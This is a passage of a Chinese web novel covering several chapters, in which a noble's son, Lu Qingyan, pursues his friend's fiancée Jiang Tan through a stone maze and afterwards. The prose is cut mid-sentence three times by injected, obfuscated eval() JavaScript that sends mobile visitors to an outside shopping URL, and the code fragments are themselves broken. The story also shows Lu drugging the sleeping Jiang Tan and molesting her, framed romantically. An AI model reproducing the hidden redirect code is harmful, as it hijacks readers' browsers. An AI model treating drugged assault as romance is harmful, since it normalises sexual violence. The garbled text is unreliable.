陆昂一副没有心机的样子,看着就是一个神采飞扬的少年郎:“是啊是啊,大家在一起玩,最重要的是开心。” 施茂林也听凭她的意思。 其实姜昙是想就此告辞的。 这时,陆青檐突然唤来一个女子,对姜昙说:“这是府里的女眷,有她陪嫂嫂,嫂嫂便不会不自在了。” 话已至此,姜昙只好点头:“好。” 她也取下腰间的一个药囊,放入了锦囊中。 比试开始,陆昂先择一入口进入石林,随后是陆青檐,他朝施茂林、姜昙一一施礼,也消失不见。 施茂林犹豫地站在入口处,回头看姜昙。 姜昙知道他的意思,她只想躲在石林中某一处,待游戏结束后,她再出来即可。 而施茂林不一样,她大概猜到了他说的门路。与陆家公子们结交,对他来说很重要。 他从小最大的愿望就是考上武举人,她不能拖慢他的脚步。 那女子说:“姜姑娘,我们也进去吧。” 姜昙点头。 进入石林的那一刻,她忽然想起来,自己并没有告诉这女子自己的名字,她是怎么知道的? “姜姑娘真是贵人多忘事。” 那女子慢慢地停下来:“我是粉黛啊,原先是茵姑娘手下的丫鬟,专门伺候狗主子。” 姜昙想起来了。 那一晚她从闹鬼的院子逃出来,为她引路的就是粉黛。 而那夜陆庸带人搜查绿柳院,最后带走的也是她。 粉黛在姜昙面前转了一圈,身上的锦衣翻飞,在日光下折射出耀眼的光。 “好看吗?”粉黛说:“这都要多谢姜姑娘,若不是你,我还穿不上这么好看的衣服。” 姜昙不动声色:“怎么说?” “那夜有贼人潜入陆府,偷走了庸少爷的宝物。巧的是,那贼人正好在闹鬼的院子一带留下了痕迹……” 姜昙不作声。 粉黛忽地一笑:“若不是听见姜姑娘的动静,我就不会去闹鬼的院子那条路,也就没有机会做庸少爷的证人。后来搜查绿柳院,也多亏姜姑娘将这个机会让给我,若非如此,我也不会有今天的造化。” “证人?” “是啊,姜姑娘不知道么?那贼人不仅偷走了庸少爷的宝物,还潜入了老太太的库房,偷走了老祖宗的一樽玉观音。老祖宗还因此病了一段时日……” 姜昙想起寿宴那天。 老祖宗泼了陆庸一脸酒,十分不给脸面,可见是非常厌恶。被贼人偷了东西,第一个怀疑的对象自然就是最厌恶之人。 陆庸百口莫辩。 难怪他要大张旗鼓找贼人,还要粉黛做证人了。 原来那夜的真相是这样。 从见到陆庸的那一刻,就高高提起的一颗心,此时缓缓落了下来。 “往日姜姑娘赐药,帮我良多,若是姑娘有什么事,尽管来找我。” 姜昙有些奇怪,就算陆庸的身份低微,可也是一个正经的贵公子。 粉黛如今是陆庸的人,身份与她这个外客大大不同,可她话中的意思,似乎在拉拢自己。 虽不知是何缘故,姜昙还是说:“若有空时一定。只是我近日计划离开陆府,可能要回淮安待嫁,若以后有缘,再与粉黛姑娘相见。” “要嫁人了……” 粉黛有些惊讶,悄悄看了一眼身后。 . 约莫一刻钟后,姜昙又回到了先前的地方。 意识到迷路后,她下意识地看向身后,想要与粉黛商量接下来的行动。 可还未转身,背上就传来一阵大力,伴随着一声惊叫:“姜姑娘!” 天旋地转后,姜昙感觉到脊背阵阵刺痛,更糟糕的是,她的脚踝好似崴了。 轻轻一动,就是钻心的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660318|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛意。 姜昙被卡在石头的缝隙里,她试探着叫了声粉黛,无人回应。 四下里一片静谧,只有风吹树叶的声音。 此处不像一个府邸的后园,倒像是山中天然的空旷之地。 粉黛离她最近,尚且找不到她,其他人也许更加找不到她。若是等到天黑还无人发现她,这条腿恐怕就要留下后遗症了。 绣鞋卡得严严实实,腿拔不出来。 姜昙忍着痛意,将绣鞋脱下,又用力将裤脚挽起,查看伤势。 正是这时,一个声音响起。 “嫂嫂。” 姜昙浑身一颤,抬头时看见高高的假山石上,陆青檐一手拨开树丛,出现在那里。 “嫂嫂。”陆青檐又叫了一声,他看到了她的伤处,向前走了一步。 姜昙叫停:“你转过去!” 陆青檐默不作声,慢慢转过去。 绣鞋穿不上去,姜昙连忙将裙摆拉下遮住腿。 陆青檐依旧安静站着,半步也不曾挪动。 不能这么僵持下去,好不容易有人发现了她。 姜昙试探着问:“陆公子,你方才过来时,可有看到茂林?他紧随你身后进来的。” 陆青檐道:“我不曾看到任何人,我也迷路了。” “那你能否帮我找一找他,粉黛也在这附近!” “我已在此地打转一刻钟,正因找不到人相助,实在无法,才上了假山石寻路。” 姜昙不由沉默。 “嫂嫂,容我提醒你一句。” 陆青檐的声音悠悠响起:“这个石林迷宫是特意请了机关师打造而成的,除非我们自己寻路,否则出不去的。” 姜昙闻言,心底凉了一片。 事情总要解决,早晚都要来这么一遭。 姜昙默默地给劝解自己,闭眼忍痛,猛然用力。 “啊——” 腿从石缝里拔了出来,可也因此蹭到尖利粗糙的石壁,被撕扯得血肉模糊。 姜昙尽力忍着,却还是没能忍住痛呼。 她对那个背影说:“不许转过来!”接着勉强靠在石壁上,轻轻喘着气。 不待缓过力气,就要扯裙角包扎伤口,无奈方才腿上的剧痛袭遍全身,到现在手还是抖得不成样子,怎么也撕不下来。 一片衣摆落在眼前。 短暂的愣怔之后,意识到这是谁,姜昙惊得要站起来,却重重摔了下去。 意料中的疼痛并未到来,姜昙倒在了陆青檐怀中,她下意识就要挣开,陆青檐的动作却比她更快。 他双手在她肩上一托,待她在石壁上稳住身形就离开,转而蹲下身来,接手她先前的动作。 “刺啦”一声。 裙角被撕开一片,迅速裹在姜昙的腿上,姜昙还未来得及躲,就痛得吸气。 陆青檐手一顿:“我手重,弄痛嫂嫂了?那我轻些。” 纱布就像羽毛一样,缓慢而轻地缠在腿上。 姜昙不自在地蜷缩了下脚。 “好了,谢谢青檐兄弟。” 姜昙转过身去,掩了掩裙角:“等出去后,我让茂林好好款待你,以示谢意。” 姜昙从地上摸了一根树枝,当做手杖,一瘸一拐就要离开。 “嫂嫂。”陆青檐叫住她:“你脖颈上有什么?” 姜昙如遭雷劈,一时间,风都停了。 “你说什么?”姜昙不可置信地转身。 陆青檐目光灼灼,盯着她的脖颈,好似看透了遮掩的东西:“是有伤口吗?不然为何要遮住?” 姜昙捂住脖颈。 用胭脂厚厚遮住的吻痕,此刻如同被火炙烤般,熊熊烧了起来。 21. 第 21 章 姜昙几乎以为自己听错了。 陆青檐低着头,嘴角微不可见地一扯。 再抬头时,他面上呈现浓烈的歉意:“那一夜,其实并非我本意,我是迫不得已。” 陆青檐向前几步,姜昙浑身的汗毛都要竖起来了:“站在那里,不要过来!” 陆青檐很懂分寸地停住。 姜昙很想逃,却不知逃到何处去。身后是陡峭的假山石,身前是令人心惊的陆青檐。 而她腿脚皆有伤,怎么看都逃不出去。 “我无意冒犯你。”陆青檐神情真挚:“而是来向你解释和道歉的。” 解释? 好,她听着,别再靠近了! 姜昙握紧木棍,挡在身前,做防御的姿态。 “你可知晃月别庄背后的大东家是谁?” 姜昙不答,陆青檐也不在意,兀自说了起来:“是姚卓,而姚卓是姚知府的儿子。所以,晃月别庄背后是扬州知府姚胜在撑腰。” 那又如何,姜昙早在三年前就明白,知府知州能做长久的,大都不是什么好东西。 世家也一样!与之勾结,一丘之貉! 陆青檐语气平和,又说起那日之事来:“那天就算你不逃跑,我也不会动你。只要再等一刻钟,我就会放了你。” 姜昙不明白他的意思。 “那个房间门外,有人在偷听你我的动静,正是姚知府的人。” 陆青檐说:“这一次,是姚知府对我的试探和考验,若不能通过,在我动身回京的路上,就会被立即击杀。即使侥幸逃脱,日后欺辱臣子的女儿,也会成为一个把柄。” “为什么要试探你?” 陆青檐苦笑:“随波逐流,生;自行其道,死。没有为什么,这是官场自古形成的道理。” 姜昙怔然。 她想起舅舅刘仲青,也是这样。寒窗苦读数十载做到知县的位置,却一直被排挤。 他说的有几分道理。 “我只知姚知府会送一个女人过来,可没想到是你。若是提前认识你,我一定冒死也不碰你分毫!” 闻言,姜昙却不怎么感动。 因为这张脸,姜昙无法信任他,至少无法全部信任他。 她总觉得,下一刻,这张温文尔雅的面孔上就会浮现出一个坏笑来,讥讽地说着:“蠢货,骗你的也信?” 可陆青檐是陆青檐。 他依旧是那副真挚的模样:“京都的世家子们放荡不羁,自小出入风月场,习惯了逢场作戏。我知道你必然不会相信,可陆某是真心的。若非施兄是我看重的朋友、你是我未来的嫂嫂,这些话我原也不会说与你听。” 姜昙确实还有几分怀疑。 “若嫂嫂不信,可看此处。” 说着,陆青檐抬起右手,将衣袖挽起。 他的右臂上有四五道深可见骨的血痕,虽已结痂,看着仍十分狰狞,似是近几日的新伤。 一番动作间,结痂的伤口隐隐破裂,渐渐渗出血珠来。 姜昙撇过脸去:“给我看这个做什么?” 在姜昙看不见的角落里,陆青檐的神情有一瞬阴沉。 “那日房中点了晃月香,陆某受不住药力,才对嫂嫂做出那些登徒子行径。虽然暗中以匕首划臂,依旧不能完全清醒。” “晃月香?” 姜昙从未听说过这种香。 陆青檐解释说:“是晃月别庄自配的一味香。晃月别庄的所有屋顶上都刻着硕大的月亮,或是屋子一面临窗,可以看到窗外的月亮。” 说到此处,陆青檐顿了顿,盯紧姜昙:“男女行房事时,女子就会看到晃动的月亮,故而此香……” 是为男女行房助兴的迷情香。 “别说了!”姜昙别过眼。 “好,我不说了。” 陆青檐的唇角暗暗挑起来:“那香药力猛烈,寻常人嗅过之后,身上如蚂蚁啃噬,几日不散。且每隔两三日就会发作一次,嫂嫂……” 他打量她僵硬的身体:“可有觉得不适?” 姜昙硬邦邦地说:“不曾。” “那就好。” 风吹过树叶,沙沙作响。 两人已在这里待了许久,姜昙的伤处疼得厉害,陆青檐背过身体坐着。 如她所言,他离她远远的,也并不过来帮助包扎伤口,亦没有要扶着她离开这里的意思。 这一切都为尊重她的意思,可他并没有径自离开丢下她,只等着听她的指令。 “陆公子。”姜昙叫了一声。 陆青檐没有回头:“嫂嫂随施兄叫我青檐就好。” 姜昙思考了下,还是叫他陆公子:“我想出去,你能否帮我一把?” 姜昙说的帮一把,是将衣摆再撕一截下来,一端绑在手腕上,另一端在陆青檐手上。 这样,也可防止先前的情况发生,粉黛就是在一声惊叫后不见了踪影。 陆青檐步履平稳,速度不算快。可是姜昙腿上有伤,一开始勉强忍痛跟上,后面渐渐地走一步,要歇息很久。 每当这时,系在两人之间的绳子就会扯动一下。 陆青檐知礼地没有回头:“嫂嫂,你可还能走动?” 姜昙微微拨开裙角,先前她用随身药囊里的药草,嚼碎了敷在伤口处,勉强用纱布裹住。 可那毕竟是权宜之计,走了这么久,伤口被行动撕扯,旧痕未干,又有血色渗出来。 姜昙咬牙:“能。” 陆青檐一扯丝带,姜昙措不及防,被这力道拉动,扑到陆青檐的背上。 “你——” 陆青檐率先说:“恕我直言,嫂嫂的伤口一时无法好转,而这里离出口恐怕还远着,照这样的速度,我们得在石林里过夜了。” “怎么会这样?石林分明很小。” “石头按机关师的布置摆放,供人行走的路百折千回,因此拉长了道路。” “石林设计之初,就没有准备出去之法吗?” “有。只要大声朝外呼救,进来的下人够多,一定有人可以带我们出去。现在嫂嫂的力气尽失,只有我的声音足够让外面的人听见。” 姜昙期待地问:“那你……” 陆青檐淡淡道:“世家子高声呼救,有失礼数。” 姜昙:“……” 这就是不愿意了。 “不过,还有一个办法。” “什么?” “我背着你,你来找路。”陆青檐犹豫道:“只是这举动有些冒犯嫂嫂……” “我答应了。”姜昙摘下丝带,说:“来吧。” 背着身体的陆青檐缓缓笑了:“好。” . 被勾住腿弯,身体失重的那一刻,姜昙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667602|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身僵硬。 “嫂嫂。”陆青檐往上托了一下:“放松。” 姜昙满满当当地落在他的背上,心脏砰砰地跳。 她的身体再度僵硬。 这两个字,同那天晚上他说的一模一样。 只是那一晚声音低沉,呼吸灼热,几乎是贴在她的耳边说的。 “快走吧。” 姜昙的手指难耐地蜷缩起来。 凭着做记号标记位置,他们总算没有在同一个地方打转,只是越发走得深入了。 脚下的路变得难走起来,像是崎岖的山路,陆青檐走得费力,连同背上的姜昙也跟着时不时颠簸。 每当她要掉下去时,陆青檐便向上托她一下。 与此同时,姜昙的身体便紧贴在他的背上,磨蹭一下。连同她的双腿,也要在他的掌心滑过一次。 姜昙不自在地按着他的肩膀,努力撑直身体。 下一次颠簸,便重重地坠回陆青檐的肩上,擦过他的脖颈。 “陆公子!” 姜昙如同受惊的猫,突然叫了一声。 接着,她意识到自己的失态,平复呼吸,勉强镇定说:“你走太快了。” 陆青檐略停了停,又往上托了一下,说:“好,我慢一点。” 姜昙隐约觉得哪里不对劲。 ……这句话,好像也听他说过。 接下来,除了偶尔指方向,哪怕再颠簸,姜昙都不说话了。 陆青檐脸上浮现几分无趣的神色。 路越走越窄,且周遭的环境越发陌生,陆青檐问:“嫂嫂,你是不是指错路了?” 姜昙环视四周,她也不知道这是在什么地方,可是按照直觉,应该快到出口了才对。 “再往前走走看。” 陆青檐依言往前走,姜昙看着脚下路,发现他正踩到一块大石头上,连忙提醒:“小心!” 不知是提醒的太晚,还是陆青檐的反应太慢,他侧过脸的那一刻,脚下已踩到了那块石头。 天旋地转,两人都摔在地上。 姜昙却没感觉到多少痛意,因为是陆青檐以身做垫子,替她挡住了那块石头。 多了一个人的重量,他的伤恐怕比她的还严重。 姜昙感觉非常抱歉。 她撑起身体,关切地问:“陆公子,你没事吧?” 陆青檐从喉咙出发出一声含糊不清的声音:“别动!” 姜昙以为自己压痛了他,连忙往一边爬。 还动! 陆青檐眼中闪过阴沉之色,蓦然抱紧姜昙的身体,翻身而起。 “陆公子……” 陆青檐眼神暗沉地盯着姜昙,额上凌乱地垂着几缕碎发:“我不是叫你不要动吗?” 姜昙胸口起伏,怔怔看着陆青檐,他好像变得和刚才不一样了。 姜昙突然往一旁钻去,陆青檐将她的身体拨回来,按住她的腰身向下。 “嫂嫂。”陆青檐呼吸沉重起来:“给我看看你脖颈上的伤。” 石林转角传来脚步声。 “施兄,莫进去,若再迷路怎么好?” “妙仪还在里面,我得去找她……妙仪!” 施茂林进来时,就看到这样一副场景: 他的未婚妻子躺在地上,上面压着他引为知己的好友。 “你们……” 22. 第 22 章 “混账!” 施茂林愣了一瞬,反应过来,将陆青檐从地上拖起来,拳头往他的脸上砸去。 “施兄住手,或许是误会!” “能有什么误会,你没看见方才那副场面吗!” 四处涌出人影来,刘武握着剑柄将要拔剑,却被陆青檐背着的手势阻止。 护卫们于是又退暗处。 也无需护卫们保护,在陆青檐嘴角挨了一拳后,姜昙挡在了他面前。 “施茂林,冷静,住手!”姜昙只说了两句话,第二句是:“事有误会,听我解释。” 施茂林的拳头在半空中顿住:“什么误会?” 姜昙微微提起染血的裙角,说:“我的腿受伤了。” 施茂林连忙放下手,紧张地左右细看:“阿昙,你怎么样?腿疼不疼?” 姜昙说:“很疼。” 她又指着陆青檐说:“你看他的手臂。” 施茂林一看,陆青檐右手的袖子被血染脏了一片,右手无力地垂下,还在往下淌着血。 “我……”施茂林无措地看了看自己的双手,是自己方才拖拽的。 “还要我解释吗?”姜昙看着施茂林说:“再过半个时辰,我的腿可能就要落下残疾。” 施茂林哪里还不明白。 怕是姜昙在石林里摔了腿,无法走动。青檐兄好心搀扶她一把,或许还不得不背着走了一段。路上或许背不稳,两人摔倒在地。 毕竟,青檐兄弟不会武功,和他这个武夫的力气自然没法比。 再说,青檐兄弟也因此伤了手臂。 “那我带你去找大夫!” “好。”姜昙张开双臂,施茂林顿了片刻,将姜昙横抱而起。 姜昙自然而然将脸贴在施茂林的脖颈处,两人犹如交颈鸳鸯,柔情蜜意诉说衷情。 “陆公子。” 姜昙此刻才看一眼陆青檐,低眉颔首:“改日再拜访。” 接着,再不看他一眼。 陆青檐笑说:“好。” 施茂林欲言又止,最终还是离开,留下一句:“青檐兄弟,子扬,我先走一步,改日向你们赔礼。” 两人走后,陆昂叹气:“这位姜姑娘好本事,两句话就化解了干戈。茂林兄这冲动的急性子,正要一个理智的娘子来管,真是天造地设的一对!” 陆青檐似笑非笑,不说话。 他握紧手中的丝带,方才姜昙解开,他却还缠在手腕上,可惜被手臂淌下的血染湿,粘腻发痒。 “拆了石林。” 陆青檐冷冷吩咐。 陆昂不明所以:“正是正是,这石林虽好玩,却是危险之地,还是拆了好。” 陆青檐转身就走,他再没兴致搭理任何人。 粉黛不知从何出冒了出来,跟在他身后,只听一句吩咐:“送酒来。” 庸少爷……又要喝酒了。 粉黛回到住处,闻了闻衣袖的味道,一股杜衡的药味。 她这几日暗暗从其他丫鬟手里换来了好几个杜衡香囊,那都是往日姜姑娘送给她们的。 除了佩药囊,她所有的衣服也用杜衡特意熏过。 包括那件新做的衣服。 粉黛下定决心,从箱子里拿出来穿上,头发也打乱重新梳了个发髻,妆容也淡乎于无。 她仔细地观察镜中人的相貌,和姜姑娘有三分相似。 可庸少爷喝酒后醉眼朦胧,三分落在他眼中,就成了七八分。 做完这一切,粉黛端好酒盏,往庸少爷的寝院去。 . 陆青檐抬起右手。 他的手上淌着血,疤痕深可入骨,那缕丝带缠绕其中,显得残破不堪。 是什么呢? 从刚才起他就想,到底藏了什么,用胭脂厚厚地扑了一层? 看样子,不像是只有吻痕。 那一条淡淡的痕迹,到底是什么东西? 陆青檐摸了摸自己脖颈上的血洞,和自己的这个一样吗? 陆青檐想不明白。 天色渐晚,下人们只点了几盏灯,他的眼睛又开始看不清楚了。 伴随着视线模糊,头也逐渐疼痛起来,脖颈上的血洞,手臂上自己亲手划开的血肉,牵动着心脉,突突地跳动起来。 真是烦。 陆青檐喝了一口酒,将酒杯勾在手上,摇摇欲坠。 他靠在椅子上,静待一晌贪欢的药力发作,将这股痛意压下去。 屋子里的水汽漂浮在空中,有个披着斗篷的身影踩着一地水珠而来。 他又来了。 吴江的那个姜昙。 陆青檐纳罕地看着他走近:“你不嫌热?” 说着,他随手抓了他的斗篷,斗篷竟像水雾一样,轰然散落到地上。 姜昙的身上穿着一件寝衣,衣上的银纹绣线暗暗地映着光,他一走动,身上的银绣线如同月光下晃动的水面,波光粼粼。 姜昙抱着双臂,从发缝里开始往下淌水。 他如同才从水里出来,浑身上下都在滴水,整个人透着一股冷意,很快将地板洇湿了。 他看着他,无声说了两字:“我冷。” 接着伸出发紫的双手,缓缓搂住他的腰际,整个人钻入他的怀里。 陆青檐先是感受到一股热意,湿了的胸口被风吹干,又察觉一阵彻骨的冰寒。 他派很多人打听姜昙的下落。 天下之大,有数不清的姜氏后人,叫姜昙的更是数不胜数。随随便便,他就能遇到一个姜昙。 可姜昙早就死了。 探子说,吴江那件事之后,刘仲青得了重病,姜昙就是在这个时候失踪的。 陆青檐甚至亲自回了吴江,只看到泡得肿胀的尸身,连面容也认不出。只有衣服上的荼蘼花纹,和他身上的如出一辙。 “你是棺材里爬上来的?”陆青檐的手抚上怀中人的头发,湿淋淋的。 陆青檐说:“我记得,用了上好的棺木将你安葬,铁钉砸棺,铁链缚棺,你是怎么出来的?” “从这里。”怀中人将手探进衣襟,贴着肌肤点着他胸口心脏。 姜昙说:“少爷想见我,我就来了。” 陆青檐嗤笑。 “不是吗?” 姜昙忽而去吻陆青檐捏着酒杯手,轻舔一口,酒杯“叮”的一声掉在地上。 陆青檐眉目阴沉,定定地看着她。 姜昙褪去衣服,露出暗沉发紫的肩膀:“要不然,少爷怎么会在死牢里提出那样的要求呢?” ——不花银子么,你也可以。 ——黑灯瞎火的,脱了衣服什么都看不清。 “临死之人说的每一句话,都是真的,包括玩笑话。” 姜昙脱得光溜溜的,坐在陆青檐身上:“只不过我现在是死人,少爷连一个死人都不放过吗?” 陆青檐的脸色阴沉得扭曲:“我不是断袖!” 他做出做了无数次的动作,双手掐住姜昙的脖颈,看着他挣扎,断气。 每一次姜昙出现,最后都会死在他的手中。 可为什么不解恨,反而越来越烦躁呢? “庸少爷!” 一声女人的惊呼。 陆青檐睁眼,粉黛衣衫半露,含羞带怯地看着他。 陆青檐将粉黛按在地上,眼神逐渐迷离,粉黛微微咬唇,眼角留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678566|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着眼泪。 粉黛轻唤一声:“陆公子。” 陆青檐眼中的探究和疏离轰然倒塌:“姜昙?” 又一个姜昙,却不是吴江那个,这个姜昙是女人。 陆青檐想起白日她的眼神和姿态,当着自己的面和施茂林相亲相爱,分明是故意做给他看的。 她察觉到了他的心思。 却又对他的话信了大半,知道刺伤他是对不起他,故而以这样的方式,委婉地提醒他。 她心有所属。 陆青檐咬牙切齿:“那个野人,到底哪里好?” 粉黛说:“他哪里都不好,我只喜欢陆公子。” 陆青檐的眼神逐渐清明,推开粉黛:“出去。” 粉黛膝行几步:“庸少爷,奴婢愿意一辈子做姜姑娘的影子,供少爷排解烦闷。” “我需要排解?”陆青檐冷笑说:“那你可真不了解我,我从不委曲求全,也不需要退而求其次去排解。凡我想要的东西,必定会拿到手。” . 施茂林今日运道不好。 路上走的好好的,被人拖到巷子里打了一顿。 想着应是销金窟红眼的赌徒,施茂林找了几个小乞丐,给他们银子让他们帮忙打听。待找到后,要十倍百倍地还回来! 可再不管怎么,他还是晚了。 “小哥,麻烦你通融,有人的腿伤了,耽搁不得,大夫说必须用好药!我进去送了药就出来!” 施茂林塞了一堆银子。 给的再多,小厮也不敢收:“施爷,内院是姑娘小姐和夫人的住处,你一个外人不方便,何况这是夜里。明个儿请早吧!” “不让我进,我就在这坐着!” “那你就坐着!” 房中,姜昙早早用了药,沉沉地睡着,紫珠陪在她身边入眠。 忽然,门被悄撬开,钻入一个黑影来。黑影手持布巾,捂在紫珠的口鼻上,紫珠瞬时晕了过去。 黑影拖着紫珠退出去。 屋内只孤零零地躺着姜昙一人。 陆青檐来到床边,躺在姜昙身边,怀中的身影察觉到冷意,正要翻身。 陆青檐从后绕臂过去,用布巾捂住姜昙的口鼻。 姜昙软软地倒在枕上。 陆青檐将人翻身捞了过来,狠狠地扣在怀中。 白日她不愿意做的事情,那便晚上做。 陆青檐问她:“你愿意与我共寝吗?” 姜昙闭着眼睛,默不作声。 那就是默认。 陆青檐在她唇上咬了一口:“好姑娘。” 姜昙惯来盖得比常人厚一些,她怕冷。巧的很,他才用过药,药力过去,他浑身的温度被风吹散,现在也冷得很。 “好姑娘,给我暖暖身子罢。”陆青檐将手伸入姜昙的衣襟,在她的肌肤上缓缓抚摸。 细腻温热,不是发紫阴冷的。 被这冷意一激,睡梦中的姜昙蹙眉,面容挣扎着,似要醒过来。 “不怕,不怕。” 陆青檐犹如为人驱散梦魇般,拍着她的脊背。一手伸出来拿了布巾,用更重的迷药盖住姜昙的一张脸。 这样就不会醒了。 还要给她留个缝隙,省得捂死了。 怀中人彻底安静了。 陆青檐的脖颈贴在她的脖颈处,双手在衣襟中向下,去寻她的腰,严严实实搂在怀中。 两具身体贴在一起,真是契合妥帖的暖意。 被子里散出馨香,陆青檐头疼缓解了些。 我不是断袖。 看,我有感兴趣的女人。 被香气引着,陆青檐渐渐下沉,钻入里面。 23. 第 23 章 姜昙早上醒来时,觉得浑身酸疼。 问起睡在旁边的紫珠,她说睡得死,并无感觉。 她掀开寝衣,发觉并无异常,手臂并无伤口,只是膝盖处有些淤青,料想时不经意在何处磕到了。 紫珠不好意思地说:“也许是奴婢压到姑娘了,明个儿奴婢就回自己的屋里去。” 姜昙并不在意,摸了摸紫珠的脑袋。 今日她有正事要忙。 扬州府有名的武师傅回来了,特意举办一场比武,选最后的获胜者为徒弟。 按照往年的惯例,武师傅带出的徒弟皆会参加武举,且十之有八中举成为武举人。 这八中有一人或两人,还能考取武进士,成为朝廷正经的官员。 施茂林就要参加这场比试。 姜昙翻出枕下的名帖,这是昨日陆大姑奶奶派人送的,里面还有一封举荐信。 若带着举荐信直接登门拜访,武师傅或许看在陆府的面子上,收下施茂林为徒弟。 可施茂林说过,要靠自己的努力去争取。 那么这封举荐信,就当作比试不过后,万不得已时的退路吧。 姜昙将举荐信放回枕下。 待施茂林比试完毕,婚事也该提上日程了,到时候她就坐船回淮安去。 . 出了府门,一辆写着“陆”的马车候在门口。 姜昙想装作没看见,避开马车,不想车帘蓦地掀开,陆昂坐在马车里朝她招手。 陆青檐不在。 姜昙松了口气,上前问好。 陆昂说:“我早知道姜姑娘今日要去看施兄比试,今天还是第一天,人多着呢,坐马车去更快些。” 陆昂从马车上跳下来:“姜姑娘上来,我下去骑马跟着。” 姜昙看了眼一眼不到边的路:“那……就恭敬不如从命了。” 日头渐盛,姜昙身体犯懒,有马车正好偷懒。 姜昙与紫珠上了马车。 姜昙掀开另一边的车帘,看清马车外的人,蓦地放下。 “嫂嫂。”陆青檐在车帘外说:“我只是顺路走一段,不和你们去同一处,我另有事要办。” 紫珠大气也不敢出。 半晌,姜昙说了句:“好。” 陆府的马车晃晃悠悠地行起来。 果然如陆青檐所说,他的目的地与她们并非同一处。马车走至岔路口,他策马去了另一个方向。 风吹起车帘,姜昙从缝隙里看着他走远。 陆昂说:“堂兄说今日有要紧事要处理,似乎是京城那边的人事,要晚上才有空闲。不过即使到那时,他也不一定有空过来。” 姜昙彻底放下心来。 马车一停,陆昂在外面说:“姜姑娘,到了。” 比试设在扬州城最大的武馆内。 一座巨大的演武台上,两个肌肉山石的汉子正挤在一处摔跤。谁也不让谁,周围的人群爆发出一阵阵喝彩声。 武馆内人太拥挤,姜昙和紫珠便坐在马车上远远地看。 待一轮比试过去,日头正到头顶,正值用午饭的时候。 听说姜昙来了,施茂林只匆匆出来看了一眼。 姜昙将做好的午膳端出来:一碗卤面,卧了五个鸡蛋,另外备了十张烙饼,一壶酸梅饮。 这是施茂林往日最爱吃的,施母说儿子自小在乡下就是这么养大的,后来她暗暗记下学了来。 若在往常,他能将这些全吃完,烙饼吃五张。 可是这一次出来,施茂林只吃了一张烙饼,卤面也只动了两筷子。 紫珠瞧着姜昙的脸色,小心地说:“施公子许是不饿,或是心中紧张吃不下饭。” 姜昙并没有生气,而是将碗筷放好:“一道菜,一碗饭,再好吃也有吃腻的一天。是我的不是,整日只顾着看医术,倒忽略了提升厨艺,回头我再多学做几样菜。” 这一去,直到黄昏傍晚才等到施茂林出来。 武馆里散了个干净,施茂林才怔怔出来,也不知在想什么,竟直直地从马车身边过去了。 “施公子!” 紫珠一声叫喊,施茂林才回过神来:“妙仪,我竟忘了你还在等我!你们用过晚膳了不曾?” “举人老爷,等你想起来,姑娘和我早饿死了!”紫珠横眉叉腰:“你方才想什么呢?魂魄出鞘了吗?” 他在想武师傅的话。 武师傅姓吴,手下出过几个武举人,眼光毒辣,经验老道。 可是看到他的第一眼起,武师傅就摇头说:“不行,资质一般。” “怎么可能一般呢?我从小就习武,是我们县里的第一名,到了扬州城也不曾懈怠,怎么就不如别人呢!” “你也说了,是县里的第一名。大昭共有几百个县,总共有几百个第一名。”武师傅的眼神锐利而刺痛:“而大昭每年武举人选拔只有几十人,甚至是十几人。你在这几百人里,又能领几人先呢?” 施茂林浑身的力气一下子散了。 “妙仪,我若是做不了武举人,你会不会嫌弃我?” 姜昙摇头说:“不会。我嫁的是你,又不是武举人。” 姜昙在施茂林的手上拍了拍。 和施茂林的手掌相比,她的手掌称得上娇小,仿佛一用力就能握碎。 可是此刻,这双手拍了拍他,恍若有什么不容置疑的力量,正从她那里传递到他的手上。 “茂林,成为武举人可报效国家,不做武举人亦可报国。只需要活着,或是做一个商人向朝廷纳税,或是做一个农民种粮食养活百姓,都是在报国。” 施茂林内心感动,妙仪竟不嫌他庸碌无为。 姜昙真挚地说:“私心来讲,我更想做一个普通人,不需要大富大贵,只求温饱平安即可。” 官场黑暗,他们只是一介小人物,无法独善其身,只能择木而栖。可不管站了哪一党,都少不了做身不由己的棋子。 与其如此,不如做普通人。 施茂林想,至少他还可以做一个可靠的丈夫和儿子,保护妻子和老娘安稳。 想通以后,施茂林脸上多了一丝笑容:“走,今日有庙会,我们去逛逛。” . 陆青檐坐在天香馆靠窗的位子上。 邓显给公孙文使了个眼色,后者连忙招呼厨子上菜,热情洋溢地介绍菜品:“长公子,这是大厨新研制的菜式,扬州百姓还未有福气尝过的,请您先尝一尝。” 陆青檐正在逗弄编笼里的蛐蛐儿。 两只蛐蛐儿“咕咕”地叫,各站一边,斗得凶狠。 